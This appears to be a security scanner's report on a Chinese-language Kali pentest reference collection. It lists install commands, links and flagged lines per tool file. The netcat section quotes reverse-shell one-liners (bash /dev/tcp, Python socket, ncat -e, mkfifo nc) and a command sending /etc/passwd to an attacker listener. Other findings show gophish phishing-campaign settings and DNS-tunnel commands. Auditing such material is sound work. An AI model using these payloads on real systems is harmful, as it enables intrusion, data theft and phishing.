    [Credential-related source omitted]
  • Access to secretsline 133
    [Credential-related source omitted]
  • Access to secretsline 134
    [Credential-related source omitted]
  • Network accessline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 161
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Network accessline 168
    "smtp": {"name": "Internal SMTP"},     "groups": [{"name": "Finance Team"}],     "url": "https://phish.example.com"
  • Network accessline 169
    "groups": [{"name": "Finance Team"}],     "url": "https://phish.example.com"   }'
  • Network accessline 170
    "url": "https://phish.example.com"
  • Network accessline 177
    # 获取所有活动 curl -k https://localhost:3333/api/campaigns/ \
  • Network accessline 178
    [Credential-related source omitted]
  • Access to secretsline 178
    [Credential-related source omitted]
  • Access to secretsline 179
    [Credential-related source omitted]
  • Network accessline 181
    # 获取特定活动结果 curl -k https://localhost:3333/api/campaigns/1/results \
  • Network accessline 182
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Network accessline 189
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]
  • Access to secretsline 202
    [Credential-related source omitted]
  • Network accessline 213
    - GitHub: https://github.com/gophish/gophish
  • Network accessline 214
    - Kali Tools: https://www.kali.org/tools/gophish/

kali-pentest-zh/references/exploitation/tools/impacket.md

  • Network accessline 20
    # 从源码安装(fortra 是当前的 GitHub 组织;SecureAuth 已将项目转移给 Fortra) git clone https://github.com/fortra/impacket
  • Network accessline 21
    git clone https://github.com/fortra/impacket
  • Dangerous shell operationline 316
    5. **时钟同步**:Kerberos 攻击要求时钟与域控同步(±5 分钟),使用 `sudo ntpdate dc.domain.com` 或 `sudo ntpdate -u dc.domain.com` 同步。
  • Network accessline 323
    - [impacket GitHub](https://github.com/fortra/impacket)
  • Network accessline 324
    - [impacket README](https://github.com/fortra/impacket/blob/master/README.md)

kali-pentest-zh/references/exploitation/tools/iodine.md

  • Dangerous shell operationline 15
    sudo apt install iodine
  • Dangerous shell operationline 56
    sudo iodined -f -c -P secretpass 10.0.0.1/24 t1.example.com
  • Dangerous shell operationline 59
    sudo iodined -f -c -P secretpass -n 203.0.113.10 10.0.0.1/24 t1.example.com
  • Dangerous shell operationline 64
    sudo iodine -f -P secretpass t1.example.com
  • Dangerous shell operationline 67
    sudo iodine -f -P secretpass 8.8.8.8 t1.example.com
  • Dangerous shell operationline 70
    sudo iodine -f -P secretpass -T TXT t1.example.com
  • Network accessline 93
    - [iodine GitHub](https://github.com/yarrick/iodine)
  • Network accessline 94
    - [Kali iodine](https://www.kali.org/tools/iodine/)

kali-pentest-zh/references/exploitation/tools/ligolo-ng.md

  • Dangerous shell operationline 15
    sudo apt install ligolo-ng
  • Dangerous shell operationline 49
    sudo ip tuntap add user $(whoami) mode tun ligolo
  • Dangerous shell operationline 50
    sudo ip link set ligolo up
  • Dangerous shell operationline 66
    sudo ip route add 10.0.0.0/24 dev ligolo
  • Network accessline 85
    - [ligolo-ng (GitHub)](https://github.com/nicocha30/ligolo-ng)
  • Network accessline 86
    - [Kali ligolo-ng](https://www.kali.org/tools/ligolo-ng/)

kali-pentest-zh/references/exploitation/tools/metasploit.md

  • Network accessline 29
    # 通过官方安装脚本安装 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
  • Network accessline 30
    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
  • Dangerous shell operationline 210
    rm /tmp/file                         # 删除文件
  • Network accessline 412
    - [Metasploit 文档](https://docs.metasploit.com/)
  • Network accessline 413
    - [Metasploit Framework GitHub](https://github.com/rapid7/metasploit-framework)
  • Network accessline 414
    - [Rapid7 漏洞数据库](https://www.rapid7.com/db/)

kali-pentest-zh/references/exploitation/tools/mitm6.md

  • Dangerous shell operationline 15
    sudo apt install mitm6
  • Network accessline 68
    - [mitm6 (GitHub)](https://github.com/dirkjanm/mitm6)
  • Network accessline 69
    - [Kali mitm6](https://www.kali.org/tools/mitm6/)

kali-pentest-zh/references/exploitation/tools/msfconsole.md

  • Dangerous shell operationline 16
    sudo apt install metasploit-framework
  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 113
    - [Metasploit Framework (GitHub)](https://github.com/rapid7/metasploit-framework)
  • Network accessline 114
    - [Metasploit Documentation](https://docs.metasploit.com/)
  • Network accessline 115
    - [Running Modules (Using Metasploit)](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
  • Network accessline 116
    - [Database Support](https://docs.metasploit.com/docs/using-metasploit/intermediate/metasploit-database-support.html)

kali-pentest-zh/references/exploitation/tools/msfvenom.md

  • Dangerous shell operationline 15
    sudo apt install metasploit-framework
  • Network accessline 263
    - [如何使用 msfvenom(GitHub Wiki)](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom)
  • Network accessline 264
    - [msfvenom 文档](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)

kali-pentest-zh/references/exploitation/tools/mssqlpwner.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install mssqlpwner
  • Network accessline 73
    - [MSSqlPwner GitHub](https://github.com/ScorpionesLabs/MSSqlPwner)
  • Network accessline 74
    - [Kali mssqlpwner](https://www.kali.org/tools/mssqlpwner/)

kali-pentest-zh/references/exploitation/tools/netcat.md

  • Dangerous shell operationline 15
    sudo apt install ncat netcat-openbsd
  • Network accessline 15
    sudo apt install ncat netcat-openbsd
  • Network accessline 24
    | `-n` | 不做 DNS 解析 | | `-p PORT` | 指定端口 | | `-e CMD` | 连接后执行的程序(传统 netcat;**OpenBSD netcat 不支持**,而 Kali 默认的 `nc` 正是 OpenBSD 版本)|
  • Network accessline 25
    | `-p PORT` | 指定端口 | | `-e CMD` | 连接后执行的程序(传统 netcat;**OpenBSD netcat 不支持**,而 Kali 默认的 `nc` 正是 OpenBSD 版本)| | `-u` | UDP 模式 |
  • Network accessline 26
    | `-e CMD` | 连接后执行的程序(传统 netcat;**OpenBSD netcat 不支持**,而 Kali 默认的 `nc` 正是 OpenBSD 版本)|
  • Network accessline 27
    | `-u` | UDP 模式 | | `-w N` | 超时等待秒数 | | `-z` | 零 IO 模式(端口扫描;ncat 和传统 nc 均支持)|
  • Network accessline 28
    | `-w N` | 超时等待秒数 | | `-z` | 零 IO 模式(端口扫描;ncat 和传统 nc 均支持)| | `-k` | 设置套接字 keepalive 选项 |
  • Network accessline 29
    | `-z` | 零 IO 模式(端口扫描;ncat 和传统 nc 均支持)|
  • Network accessline 41
    # === 反弹 Shell 监听(Kali 攻击机)=== nc -lvnp 4444
  • Network accessline 42
    nc -lvnp 4444
  • Network accessline 44
    ncat -lvnp 4444
  • Network accessline 46
    # === 反弹 Shell Payload(目标机器执行)=== # Bash bash -i >& /dev/tcp/<kali-ip>/4444 0>&1
  • Dangerous shell operationline 48
    bash -i >& /dev/tcp/<kali-ip>/4444 0>&1
  • Network accessline 48
    bash -i >& /dev/tcp/<kali-ip>/4444 0>&1
  • Network accessline 50
    # Python3 python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<kali-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
  • Network accessline 51
    python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<kali-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
  • Network accessline 54
    # 注意:Kali 默认的 nc(OpenBSD 变体)不支持 -e # 使用 ncat(来自 nmap 包),它支持 --exec / -e: ncat <kali-ip> 4444 -e /bin/bash
  • Dangerous shell operationline 56
    ncat <kali-ip> 4444 -e /bin/bash
  • Network accessline 56
    ncat <kali-ip> 4444 -e /bin/bash
  • Network accessline 58
    # nc(无 -e 参数,使用 mkfifo) rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f
  • Dangerous shell operationline 59
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f
  • Network accessline 59
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f
  • Network accessline 64
    # === 文件传输 === # 接收端(Kali) nc -lvnp 4444 > received_file
  • Network accessline 66
    nc -lvnp 4444 > received_file
  • Network accessline 68
    # 发送端(目标)——添加 -N 让 nc 在 EOF 时关闭套接字,使传输干净地结束
  • Network accessline 69
    nc -N <kali-ip> 4444 < /etc/passwd
  • Network accessline 71
    # === 端口扫描(简单)=== # 注意:ncat 支持 -z,但传统 nc(OpenBSD)支持情况不一;大范围扫描推荐使用 nmap
  • Network accessline 72
    # 注意:ncat 支持 -z,但传统 nc(OpenBSD)支持情况不一;大范围扫描推荐使用 nmap
  • Network accessline 73
    nc -zv 192.168.1.100 1-1000 2>&1 | grep open
  • Network accessline 75
    # === 端口转发(简单)=== # 将本地 8080 转发到 target:80 nc -l 8080 | nc target.com 80
  • Network accessline 77
    nc -l 8080 | nc target.com 80
  • Network accessline 97
    2. 获得基础 Shell 后用 Python3 pty 升级为完全交互式 TTY——参见上方"Shell 稳定化"章节。 3. 加密 Shell 或高级 PTY 功能请使用 `socat`——见 `socat.md`。 4. `ncat --ssl` 创建加密的 netcat 连接——流量监控敏感的环境下使用。
  • Network accessline 98
    3. 加密 Shell 或高级 PTY 功能请使用 `socat`——见 `socat.md`。 4. `ncat --ssl` 创建加密的 netcat 连接——流量监控敏感的环境下使用。 5. 在实验室环境中始终使用非标准端口(非 80/443/22)作为监听端口,避免与运行中的服务冲突。
  • Network accessline 99
    4. `ncat --ssl` 创建加密的 netcat 连接——流量监控敏感的环境下使用。
  • Network accessline 109
    - [Ncat(nmap 版本)](https://nmap.org/ncat/)
  • Network accessline 110
    - [静态二进制文件(socat、nmap 等)](https://github.com/andrew-d/static-binaries)

kali-pentest-zh/references/exploitation/tools/odat.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install odat
  • Network accessline 84
    - [ODAT GitHub](https://github.com/quentinhardy/odat)
  • Network accessline 85
    - [Kali ODAT](https://www.kali.org/tools/odat/)

kali-pentest-zh/references/exploitation/tools/proxytunnel.md

  • Network accessline 69
    - [proxytunnel GitHub](https://github.com/proxytunnel/proxytunnel)
  • Network accessline 70
    - [Kali proxytunnel](https://www.kali.org/tools/proxytunnel/)

kali-pentest-zh/references/exploitation/tools/routersploit.md

  • Dangerous shell operationline 15
    sudo apt install routersploit
  • Network accessline 21
    git clone https://github.com/threat9/routersploit.git
  • Network accessline 102
    - [routersploit GitHub](https://github.com/threat9/routersploit)
  • Network accessline 103
    - [Kali routersploit](https://www.kali.org/tools/routersploit/)

kali-pentest-zh/references/exploitation/tools/searchsploit.md

  • Network accessline 173
    - [Exploit-DB](https://www.exploit-db.com/)
  • Network accessline 174
    - [ExploitDB GitLab](https://gitlab.com/exploit-database/exploitdb)
  • Network accessline 175
    - [Google Hacking Database](https://www.exploit-db.com/google-hacking-database)
  • Network accessline 176
    - [Exploit-DB Papers](https://www.exploit-db.com/papers)
  • Network accessline 177
    - [Exploit-DB Shellcodes](https://www.exploit-db.com/shellcodes)

kali-pentest-zh/references/exploitation/tools/setoolkit.md

  • Network accessline 42
    - [Social-Engineer Toolkit GitHub](https://github.com/trustedsec/social-engineer-toolkit)
  • Network accessline 43
    - [Kali set](https://www.kali.org/tools/set/)

kali-pentest-zh/references/exploitation/tools/smbclient.md

  • Dangerous shell operationline 15
    sudo apt install smbclient
  • Network accessline 81
    - [smbclient 手册页](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html)

kali-pentest-zh/references/exploitation/tools/socat.md

  • Network accessline 10
    一款双向数据中继工具,可连接任意两个地址端点——TCP、UDP、Unix 套接字、TLS/SSL、伪终端、文件等均支持。比 netcat 更强大:可创建加密反向 Shell、将基础 Shell 升级为完全交互式 TTY、设置持久化多客户端监听器、通过跳板进行端口转发。几乎所有 Linux 系统上均预装。
  • Dangerous shell operationline 15
    sudo apt install socat
  • Network accessline 37
    # 基础 TCP 监听器(等效于 netcat -lvnp)
  • Network accessline 77
    - [socat Debian man page](https://manpages.debian.org/socat/socat.1.en.html)
  • Network accessline 78
    - [Kali socat](https://www.kali.org/tools/socat/)

kali-pentest-zh/references/exploitation/tools/veil.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install veil
  • Network accessline 78
    - [Veil GitHub](https://github.com/Veil-Framework/Veil)
  • Network accessline 79
    - [Kali Veil](https://www.kali.org/tools/veil/)

kali-pentest-zh/references/forensics/README.md

  • Network accessline 165
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest-zh/references/forensics/tools/bulk-extractor.md

  • Dangerous shell operationline 15
    sudo apt install bulk-extractor
  • Network accessline 105
    - [bulk-extractor (GitHub)](https://github.com/simsong/bulk_extractor)
  • Network accessline 106
    - [Kali bulk-extractor](https://www.kali.org/tools/bulk-extractor/)

kali-pentest-zh/references/forensics/tools/chainsaw.md

  • Dangerous shell operationline 15
    sudo apt install chainsaw
  • Network accessline 64
    1. 单独下载 Sigma 规则和映射文件:`git clone https://github.com/SigmaHQ/sigma.git`
  • Network accessline 74
    - [Chainsaw (GitHub)](https://github.com/WithSecureLabs/chainsaw)
  • Network accessline 75
    - [Kali chainsaw](https://www.kali.org/tools/chainsaw/)

kali-pentest-zh/references/forensics/tools/chkrootkit.md

  • Dangerous shell operationline 15
    sudo apt install chkrootkit
  • Dangerous shell operationline 34
    sudo chkrootkit
  • Dangerous shell operationline 37
    sudo chkrootkit -q
  • Dangerous shell operationline 40
    sudo chkrootkit -x
  • Dangerous shell operationline 46
    sudo chkrootkit -r /mnt/evidence
  • Dangerous shell operationline 49
    sudo chkrootkit -p /mnt/trusted_bin
  • Dangerous shell operationline 52
    sudo chkrootkit -n
  • Dangerous shell operationline 55
    sudo chkrootkit -e "/tmp /var/tmp"
  • Dangerous shell operationline 58
    sudo chkrootkit chkutmp
  • Dangerous shell operationline 61
    sudo chkrootkit -q > /tmp/chkrootkit_report.txt 2>&1
  • Network accessline 78
    - [chkrootkit Official Site](http://www.chkrootkit.org/)
  • Network accessline 79
    - [Kali chkrootkit](https://www.kali.org/tools/chkrootkit/)

kali-pentest-zh/references/forensics/tools/dc3dd.md

  • Dangerous shell operationline 15
    sudo apt install dc3dd
  • Network accessline 65
    - [dc3dd Debian man page](https://manpages.debian.org/dc3dd/dc3dd.1.en.html)
  • Network accessline 66
    - [Kali dc3dd](https://www.kali.org/tools/dc3dd/)

kali-pentest-zh/references/forensics/tools/dcfldd.md

  • Dangerous shell operationline 15
    sudo apt install dcfldd
  • Network accessline 81
    - [Kali dcfldd](https://www.kali.org/tools/dcfldd/)
  • Network accessline 82
    - [dcfldd (GitHub)](https://github.com/resurrecting-open-source-projects/dcfldd)

kali-pentest-zh/references/forensics/tools/ddrescue.md

  • Dangerous shell operationline 15
    sudo apt install gddrescue
  • Dangerous shell operationline 42
    sudo ddrescue /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 45
    sudo ddrescue -n /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 48
    sudo ddrescue -r 3 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 51
    sudo ddrescue -R -r 3 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 54
    sudo ddrescue -d -n /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 57
    sudo ddrescue -v --log-events /mnt/output/events.log /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 60
    sudo ddrescue -s 1G /dev/sdb /mnt/output/partial.img /mnt/output/partial.map
  • Dangerous shell operationline 63
    sudo ddrescue -b 4096 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Dangerous shell operationline 66
    sudo ddrescue -f /dev/sdb /mnt/output/disk.img /mnt/output/disk.map
  • Network accessline 83
    - [GNU ddrescue (Official)](https://www.gnu.org/software/ddrescue/)

kali-pentest-zh/references/forensics/tools/exiftool.md

  • Dangerous shell operationline 15
    sudo apt install libimage-exiftool-perl
  • Network accessline 66
    1. 务必在证据文件的副本上操作——仅在有意修改源文件时才使用 `-overwrite_original`。 2. EXIF 中的 GPS 坐标可转换为 Google Maps 链接:`https://maps.google.com/?q=<lat>,<lon>` 。
  • Network accessline 67
    2. EXIF 中的 GPS 坐标可转换为 Google Maps 链接:`https://maps.google.com/?q=<lat>,<lon>` 。
  • Network accessline 76
    - [ExifTool 官方网站](https://exiftool.org/)
  • Network accessline 77
    - [ExifTool Application Documentation](https://exiftool.org/exiftool_pod.html)
  • Network accessline 78
    - [ExifTool 标签名称参考](https://exiftool.org/TagNames/)
  • Network accessline 79
    - [ExifTool (GitHub)](https://github.com/exiftool/exiftool)

kali-pentest-zh/references/forensics/tools/foremost.md

  • Dangerous shell operationline 15
    sudo apt install foremost
  • Network accessline 69
    - [Foremost (SourceForge)](http://foremost.sourceforge.net/)
  • Network accessline 70
    - [Kali foremost](https://www.kali.org/tools/foremost/)

kali-pentest-zh/references/forensics/tools/hashdeep.md

  • Dangerous shell operationline 15
    sudo apt install hashdeep
  • Network accessline 87
    - [hashdeep GitHub](https://github.com/jessek/hashdeep)
  • Network accessline 88
    - [Kali hashdeep](https://www.kali.org/tools/hashdeep/)

kali-pentest-zh/references/forensics/tools/plaso.md

  • Dangerous shell operationline 24
    sudo apt install plaso
  • Network accessline 122
    - [plaso (GitHub)](https://github.com/log2timeline/plaso)
  • Network accessline 123
    - [plaso Documentation](https://plaso.readthedocs.io/)
  • Network accessline 124
    - [plaso — Kali Tools](https://www.kali.org/tools/plaso/)

kali-pentest-zh/references/forensics/tools/regripper.md

  • Dangerous shell operationline 15
    sudo apt install regripper
  • Network accessline 86
    - [RegRipper 3.0 (GitHub)](https://github.com/keydet89/RegRipper3.0)
  • Network accessline 87
    - [Kali regripper](https://www.kali.org/tools/regripper/)

kali-pentest-zh/references/forensics/tools/rkhunter.md

  • Dangerous shell operationline 15
    sudo apt install rkhunter
  • Dangerous shell operationline 44
    sudo rkhunter --check
  • Dangerous shell operationline 47
    sudo rkhunter --check --skip-keypress
  • Dangerous shell operationline 50
    sudo rkhunter --check --report-warnings-only --skip-keypress
  • Dangerous shell operationline 53
    sudo rkhunter --update
  • Dangerous shell operationline 56
    sudo rkhunter --propupd
  • Dangerous shell operationline 59
    sudo rkhunter --versioncheck
  • Dangerous shell operationline 65
    sudo rkhunter --check --enable rootkits,trojans --skip-keypress
  • Dangerous shell operationline 68
    sudo rkhunter --check --disable apps --skip-keypress
  • Dangerous shell operationline 71
    sudo rkhunter --cronjob --logfile /var/log/rkhunter.log
  • Network accessline 89
    - [rkhunter Official Site](https://rkhunter.sourceforge.net/)
  • Network accessline 90
    - [Kali rkhunter](https://www.kali.org/tools/rkhunter/)

kali-pentest-zh/references/forensics/tools/scalpel.md

  • Dangerous shell operationline 15
    sudo apt install scalpel
  • Dangerous shell operationline 36
    sudo nano /etc/scalpel/scalpel.conf
  • Dangerous shell operationline 42
    sudo scalpel -c /etc/scalpel/scalpel.conf -o /tmp/carved/ /dev/sdb
  • Network accessline 71
    - [Kali scalpel](https://www.kali.org/tools/scalpel/)
  • Network accessline 72
    - [scalpel (GitHub - Sleuth Kit)](https://github.com/sleuthkit/scalpel)

kali-pentest-zh/references/forensics/tools/sleuthkit.md

  • Dangerous shell operationline 15
    sudo apt install sleuthkit
  • Network accessline 136
    - [The Sleuth Kit](https://www.sleuthkit.org/)
  • Network accessline 137
    - [sleuthkit (GitHub)](https://github.com/sleuthkit/sleuthkit)
  • Network accessline 138
    - [sleuthkit — Kali Tools](https://www.kali.org/tools/sleuthkit/)

kali-pentest-zh/references/forensics/tools/ssdeep.md

  • Dangerous shell operationline 15
    sudo apt install ssdeep
  • Network accessline 85
    - [ssdeep Official Site](https://ssdeep-project.github.io/ssdeep/)
  • Network accessline 86
    - [Kali ssdeep](https://www.kali.org/tools/ssdeep/)

kali-pentest-zh/references/forensics/tools/steghide.md

  • Dangerous shell operationline 15
    sudo apt install steghide
  • Network accessline 77
    - [Steghide 官方网站](http://steghide.sourceforge.net/)
  • Network accessline 78
    - [Stegseek - 推荐替代方案 (GitHub)](https://github.com/RickdeJager/stegseek)

kali-pentest-zh/references/forensics/tools/stegseek.md

  • Network accessline 15
    # 不在 Kali apt 仓库中;从 GitHub releases 安装 .deb 包: wget https://github.com/RickdeJager/stegseek/releases/latest/download/stegseek_0.6-1.deb
  • Network accessline 16
    wget https://github.com/RickdeJager/stegseek/releases/latest/download/stegseek_0.6-1.deb
  • Network accessline 67
    - [stegseek(GitHub)](https://github.com/RickdeJager/stegseek)

kali-pentest-zh/references/forensics/tools/tcpdump.md

  • Dangerous shell operationline 15
    sudo apt install tcpdump
  • Network accessline 83
    - [tcpdump man page](https://www.tcpdump.org/manpages/tcpdump.1.html)
  • Network accessline 84
    - [Kali tcpdump](https://www.kali.org/tools/tcpdump/)

kali-pentest-zh/references/forensics/tools/tcpflow.md

  • Dangerous shell operationline 15
    sudo apt install tcpflow
  • Dangerous shell operationline 49
    sudo tcpflow -i eth0 -o /tmp/flows/
  • Dangerous shell operationline 70
    sudo tcpflow -i eth0 -o /tmp/flows/ "dst port 22"
  • Network accessline 90
    - [Kali tcpflow](https://www.kali.org/tools/tcpflow/)
  • Network accessline 91
    - [tcpflow (GitHub)](https://github.com/simsong/tcpflow)

kali-pentest-zh/references/forensics/tools/testdisk.md

  • Dangerous shell operationline 15
    sudo apt install testdisk
  • Dangerous shell operationline 42
    sudo testdisk /log
  • Dangerous shell operationline 45
    sudo testdisk /log /dev/sda
  • Dangerous shell operationline 51
    sudo testdisk /cmd /dev/sda analyze
  • Dangerous shell operationline 54
    sudo testdisk /cmd /dev/sda search
  • Dangerous shell operationline 60
    sudo testdisk /debug /log /dev/sda
  • Dangerous shell operationline 63
    sudo photorec /log /dev/sda
  • Dangerous shell operationline 66
    sudo photorec /d /tmp/recovered/ /log /dev/sda
  • Dangerous shell operationline 69
    sudo photorec /cmd /dev/sda1 fileopt,everything,enable,search
  • Network accessline 89
    - [TestDisk Official Documentation](https://www.cgsecurity.org/wiki/TestDisk)
  • Network accessline 90
    - [Kali testdisk](https://www.kali.org/tools/testdisk/)

kali-pentest-zh/references/forensics/tools/tshark.md

  • Dangerous shell operationline 15
    sudo apt install wireshark
  • Network accessline 82
    - [tshark man page](https://www.wireshark.org/docs/man-pages/tshark.html)
  • Network accessline 83
    - [Kali wireshark/tshark](https://www.kali.org/tools/wireshark/)

kali-pentest-zh/references/forensics/tools/volatility.md

  • Dangerous shell operationline 15
    sudo apt install volatility3
  • Network accessline 121
    # 注意:/proc/kcore 是内核运行时的 ELF core 文件,大小不固定,不一定能完整捕获内存 # 推荐使用 LiME(Linux Memory Extractor)内核模块获取可靠的完整内存转储: # git clone https://github.com/504ensicsLabs/LiME
  • Network accessline 122
    # 推荐使用 LiME(Linux Memory Extractor)内核模块获取可靠的完整内存转储: # git clone https://github.com/504ensicsLabs/LiME # cd LiME/src && make && insmod lime-*.ko "path=/tmp/memory.raw format=raw"
  • Network accessline 123
    # git clone https://github.com/504ensicsLabs/LiME
  • Dangerous shell operationline 125
    sudo dd if=/proc/kcore of=/tmp/memory.raw bs=1M 2>/dev/null || true  # 备用方案(功能有限)
  • Network accessline 140
    - [Volatility3 文档](https://volatility3.readthedocs.io/)
  • Network accessline 141
    - [Volatility3 (GitHub)](https://github.com/volatilityfoundation/volatility3)

kali-pentest-zh/references/forensics/tools/yara.md

  • Dangerous shell operationline 15
    sudo apt install yara
  • Network accessline 91
    # 下载 YARA 规则集 git clone https://github.com/Yara-Rules/rules.git /opt/yara-rules
  • Network accessline 92
    git clone https://github.com/Yara-Rules/rules.git /opt/yara-rules
  • Network accessline 123
    - [YARA Documentation](https://yara.readthedocs.io/)
  • Network accessline 124
    - [YARA (GitHub)](https://github.com/VirusTotal/yara)
  • Network accessline 125
    - [yara — Kali Tools](https://www.kali.org/tools/yara/)

kali-pentest-zh/references/information-gathering/README.md

  • Network accessline 264
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest-zh/references/information-gathering/tools/altdns.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install altdns
  • Network accessline 59
    - [altdns GitHub](https://github.com/infosec-au/altdns)
  • Network accessline 60
    - [Kali altdns](https://www.kali.org/tools/altdns/)

kali-pentest-zh/references/information-gathering/tools/amass.md

  • Dangerous shell operationline 21
    sudo apt install amass
  • Access to secretsline 197
    [Credential-related source omitted]
  • Access to secretsline 201
    [Credential-related source omitted]
  • Access to secretsline 205
    [Credential-related source omitted]
  • Network accessline 230
    - [OWASP Amass GitHub](https://github.com/owasp-amass/amass)
  • Network accessline 231
    - [Amass 文档](https://owasp-amass.github.io/docs)

kali-pentest-zh/references/information-gathering/tools/arp-scan.md

  • Dangerous shell operationline 15
    sudo apt install arp-scan
  • Dangerous shell operationline 34
    sudo arp-scan -l
  • Dangerous shell operationline 37
    sudo arp-scan -I eth0 -l
  • Dangerous shell operationline 40
    sudo arp-scan 192.168.1.0/24
  • Dangerous shell operationline 43
    sudo arp-scan 192.168.1.1 192.168.1.2 192.168.1.100
  • Dangerous shell operationline 46
    sudo arp-scan -l --bandwidth 1000k
  • Dangerous shell operationline 49
    sudo arp-scan -l  # 默认会查询 MAC 厂商数据库
  • Dangerous shell operationline 57
    4. MAC 厂商查询依赖本地 OUI 数据库(`/usr/share/arp-scan/ieee-oui.txt`);如厂商信息过时,可用 `sudo get-oui` 更新。
  • Network accessline 64
    - [arp-scan GitHub](https://github.com/royhills/arp-scan)
  • Network accessline 65
    - [Kali arp-scan](https://www.kali.org/tools/arp-scan/)

kali-pentest-zh/references/information-gathering/tools/assetfinder.md

  • Dangerous shell operationline 15
    sudo apt install assetfinder
  • Network accessline 59
    - [assetfinder(GitHub)](https://github.com/tomnomnom/assetfinder)
  • Network accessline 60
    - [Kali assetfinder](https://www.kali.org/tools/assetfinder/)

kali-pentest-zh/references/information-gathering/tools/autorecon.md

  • Dangerous shell operationline 15
    sudo apt install autorecon
  • Dangerous shell operationline 74
    5. 需要多项依赖(nmap、gobuster、nikto 等)——在全新 Kali 上运行 `sudo apt install autorecon` 安装。
  • Network accessline 80
    - [AutoRecon (GitHub)](https://github.com/AutoRecon/AutoRecon)
  • Network accessline 81
    - [Kali autorecon](https://www.kali.org/tools/autorecon/)

kali-pentest-zh/references/information-gathering/tools/certgraph.md

  • Dangerous shell operationline 15
    sudo apt install certgraph
  • Network accessline 119
    - [certgraph(GitHub)](https://github.com/lanrat/certgraph)
  • Network accessline 120
    - [Kali certgraph](https://www.kali.org/tools/certgraph/)

kali-pentest-zh/references/information-gathering/tools/cloud-enum.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install cloud-enum
  • Network accessline 65
    - [cloud_enum GitHub](https://github.com/initstring/cloud_enum)
  • Network accessline 66
    - [Kali cloud-enum](https://www.kali.org/tools/cloud-enum/)

kali-pentest-zh/references/information-gathering/tools/cloudbrute.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install cloudbrute
  • Network accessline 66
    - [CloudBrute GitHub](https://github.com/0xsha/CloudBrute)
  • Network accessline 67
    - [Kali cloudbrute](https://www.kali.org/tools/cloudbrute/)

kali-pentest-zh/references/information-gathering/tools/dig.md

  • Dangerous shell operationline 15
    sudo apt install bind9-dnsutils
  • Network accessline 108
    - [BIND 9 dig 手册页](https://bind9.readthedocs.io/en/latest/manpages.html#dig)

kali-pentest-zh/references/information-gathering/tools/dmitry.md

  • Dangerous shell operationline 15
    sudo apt install dmitry
  • Network accessline 63
    - [DMitry GitHub](https://github.com/jaygreig86/dmitry)

kali-pentest-zh/references/information-gathering/tools/dnsenum.md

  • Dangerous shell operationline 15
    sudo apt install dnsenum
  • Network accessline 64
    - [dnsenum GitHub](https://github.com/fwaeytens/dnsenum)
  • Network accessline 65
    - [Kali dnsenum](https://www.kali.org/tools/dnsenum/)

kali-pentest-zh/references/information-gathering/tools/dnsgen.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install dnsgen
  • Network accessline 56
    - [dnsgen GitHub](https://github.com/AlephNullSK/dnsgen)
  • Network accessline 57
    - [Kali dnsgen](https://www.kali.org/tools/dnsgen/)

kali-pentest-zh/references/information-gathering/tools/dnsmap.md

  • Dangerous shell operationline 15
    sudo apt install dnsmap
  • Network accessline 60
    - [dnsmap(GitHub)](https://github.com/resurrecting-open-source-projects/dnsmap)
  • Network accessline 61
    - [Kali dnsmap](https://www.kali.org/tools/dnsmap/)

kali-pentest-zh/references/information-gathering/tools/dnsrecon.md

  • Dangerous shell operationline 15
    sudo apt install dnsrecon
  • Network accessline 76
    - [dnsrecon GitHub](https://github.com/darkoperator/dnsrecon)

kali-pentest-zh/references/information-gathering/tools/dnstwist.md

  • Dangerous shell operationline 15
    sudo apt install dnstwist
  • Network accessline 76
    - [dnstwist (GitHub)](https://github.com/elceef/dnstwist)
